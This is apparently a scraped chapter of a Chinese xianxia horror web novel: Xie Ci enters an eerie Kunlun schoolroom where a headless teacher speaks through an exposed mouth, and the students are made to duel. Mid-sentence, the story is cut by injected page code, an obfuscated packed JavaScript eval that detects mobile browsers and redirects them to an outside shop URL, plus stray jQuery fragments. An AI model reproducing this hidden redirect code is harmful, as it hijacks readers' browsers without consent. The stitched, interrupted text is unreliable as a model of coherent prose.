飞檐翘角,青砖覆雪。
剔透雪片飘落,在他的肩上、发上覆上薄薄一层,朝阳破开云层,投下浅金的浮光。万里碧空,絮絮流云,冰雪天地,琉璃世界。
不远处的弟子学堂半开着门,阳光落在木窗轻薄的窗纸上,投射出柔和的光晕,屋檐上覆着的积雪仿佛千古不化,一只翘着尾巴的橘猫顺着檐角缓缓的走,见到他轻轻叫了一声,轻巧跳下后不知去了何处,只留雪地上一串梅花印。
谢辞停在原地,缓缓眯起眼睛。
那堵肉墙坍塌后显露的口腔再次张开后,他便飞身跳了进去,与他一道的应该还有被吓得哆哆嗦嗦的金辰,但此刻不知去了哪里。
而他一进来,便见到眼前的景象。
昆仑。这般千年落雪的地域,弟子学堂的门扉上深深烙印的昆仑标志,都明显昭示了此地方位。
只是不知在昆仑的哪座山脉,又或者是哪处年月中的昆仑。
学堂中传来中年男人抑扬顿挫的讲课声,讲的好像是昆仑剑的使用方法,谢辞站在原地听了片刻,抬起步子,干脆利落地往前走去。
干净的雪地上落下少年清浅的脚印,几乎方刚落下便消失不见,吱呀一声,学堂半掩的门被彻底推开。
“来晚了,老师。”
少年郎清隽挺拔的身影逆着日光,发丝都透着隐隐的金芒,他随手阖上门,乌黑长睫抬起,漂亮的眸子清晰地映出屋内景象。
坦白说,谢辞从未上过学堂,天山镇时自是没那条件,识的字全靠自学,以及沈微霜的些许教导,上了仙界更是成日忙着找沈微霜和修炼,昆仑的弟子学堂仙界闻名,他却从未踏入过半步。
是以他的确是懵懂了些,但再怎么说,学堂也不该是眼前这样子——
教书育人的学堂师傅身着一袭儒雅的青衫,双手捧着古朴的小册子,其上沾了陈年污血,斯文温润的声音自他脖颈上方发出来,那里有一个暴露在外的口腔,上下牙床一张一合,牙齿整洁,没有嘴巴,红舌若隐若现。
没有脑袋。
男人脖颈上就只有一副口腔,猩红的经脉露在外边,连通着被衣襟覆盖住大半的脖颈,雪白的牙齿不沾一丝污秽,闪着凛凛寒光。
方才他在门外听到的讲课声,就是从此发出。
谢辞视线停顿一瞬,那口腔便转过来看他,嘟囔着“知道自己来晚了便快些坐下”之类的话语,于是他收回目光,朝不大的学堂中巡视一圈,长腿迈了两三步,找到唯一空着的位置坐下。
——嘎吱。
木椅拉开的声音在一片寂静的学堂中极为刺耳,几乎所有弟子都颤颤巍巍低着头,有人听到声音抬起头看他,都是几张颇为熟悉的面孔。
他的目光落在同桌身上,那青年一身蓝色云纹锦袍,娃娃脸上带了掩饰不住的惊恐,见了鬼似的望着他。
谢辞记得他,似乎是王氏的人。
这学堂里,大部分都是他破开肉墙后见过的人。
“修出昆仑剑,才能成为一名合格的昆仑子……运转昆仑周天之法,凝聚剑意,形成自己的昆仑剑……”
那口腔还在一刻不停地张合,谢辞收回目光,凝神听了几句。
是在教弟子如何凝聚昆仑剑。
这东西他来到昆仑后,骆颜建议他来学过,说是对每个昆仑子而言,昆仑剑都至关重要,昆仑剑只要一经凝出,便会自动成为修者的本命灵器,从此人剑合一,如臂使指。
可他确实不喜欢用剑。他更喜欢长刀劈落在血肉之上的手感,于是拒绝了骆颜的提议,成了为数不多的不使用昆仑剑的昆仑子弟。
老师已经开始讲述灵力如何运转才能凝聚出昆仑剑,此法属于昆仑之秘,千万年来只有昆仑子弟习得,并且立下大道誓约,不可外传。
法诀难得,谢辞看到已经有人在迫不及待地依言尝试,周身灵力流转出华丽的光。
他挑了挑眉,什么都没说。
只有老师朗朗讲课声的学堂中,时间一分一秒流过,木椅没有椅背,他靠在后桌人的桌沿,一手托腮,一手搭在自己的课桌上,修剪圆润的指尖轻轻点动,姿态与其说是闲适,不如说是怠惰。
因为他轻阖着眼皮,看上去像是快要睡着了。
……莫不是真的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12892168|136135||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
睡着了吧?王景焕挺直着脊背,偷眼去瞄身侧人,心中觉得不可能,又有些诡异的不确定。
但是倘若这人这样子都能不被老师点名,那他讲几句悄悄话应当也没什么。他在心中给自己做建设,狠狠深呼吸了几次,说不清是因为要在这诡异教师的眼皮子底下违规,还是因为马上就要跟这位大名鼎鼎的同桌搭话。
一进来就遇上此等诡异的情况,还与这人做了同桌,他都不知自己是幸还是不幸。
“……喂。”舔了舔唇,王景焕压低了声音。
“仙君?谢仙君?”他唤了几声,用手掩着口鼻,一边搭话一边时刻注意着学堂老师,谢辞长睫颤了颤,偏头看他。
少年一双漆黑的眸子仿佛能将人拖下去溺死,眉目很凌厉,哪怕只是轻轻的看,也有一股迫人的锐意直逼面门。王景焕磕巴了一下,有一瞬忘了自己要说什么。
“在下王景焕……”索性他及时找回了记忆,磕绊着将自己介绍了一番,谢辞静静盯了他几息,兀自转回目光。
鬼蜮王氏的小公子。他自然知道,王氏也给他送过礼,虽然被他随手扔了。
“……族内有所记载,说是入墙后需要破境,我一进来就看到这学堂,想着或许能有破境之法,然而一直坐到现在,陆陆续续也进来了几个人,情况却一直未生变化……”
这谢仙君虽然不理人,但好歹也未曾表现出敌意来,王景焕松下一口气,低声说着自己知晓的情报,又接着道:“我这里有一枚储物戒,仙君可以看看,是否有用得上的东西……”
谢辞目光诡异地瞥他一眼。
大家族的公子们与老奸巨猾的老一辈不同,大多都有些青涩傲气,他也没料到眼前人能示好得如此直接,沉默一瞬道:“不用,你——”
话音未落,被中年男人的讲课声打断。
那血肉口腔一张一合,所有人的目光霎时集中在上面。
“我看看——哦,人已经到齐了,”那口舌咧了咧,似是在笑,“法诀也已传授,接下来,让我看看尔等的学习成果——持着你们的昆仑剑,两人为一组,到堂前,来一决胜负。”